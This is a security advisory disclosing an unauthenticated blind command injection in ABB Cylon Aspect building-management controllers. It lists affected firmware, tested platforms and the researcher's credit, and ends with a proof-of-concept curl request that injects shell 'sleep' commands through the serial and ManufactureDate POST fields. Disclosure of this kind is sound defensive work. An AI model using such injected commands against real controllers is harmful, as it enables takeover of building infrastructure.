ABB Cylon Aspect 4.00.00 (factorySetSerialNum.php) Remote Code Execution


Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
                  Firmware: <=4.00.00

Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.

Desc: The ABB Cylon Aspect BMS/BAS controller suffers from an unauthenticated
blind command injection vulnerability. Input passed to the serial and ManufactureDate
POST parameters is not properly sanitized, allowing attackers to execute arbitrary
shell commands on the system. While factory test scripts included in the upgrade
bundle are typically deleted, a short window for exploitation exists when the device
is in the manufacturing phase.

Tested on: GNU/Linux 3.15.10 (armv7l)
           GNU/Linux 3.10.0 (x86_64)
           GNU/Linux 2.6.32 (x86_64)
           Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
           Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
           PHP/7.3.11
           PHP/5.6.30
           PHP/5.4.16
           PHP/4.4.8
           PHP/5.3.3
           AspectFT Automation Application Server
           lighttpd/1.4.32
           lighttpd/1.4.18
           Apache/2.2.15 (CentOS)
           OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
           OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
           ErgoTech MIX Deployment Server 2.0.0


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5894
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5894.php


21.04.2024

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$ curl http://192.168.73.31/factorySetSerialNum.php \
> -d "serial=;sleep 2&ManufactureDate=;sleep 3"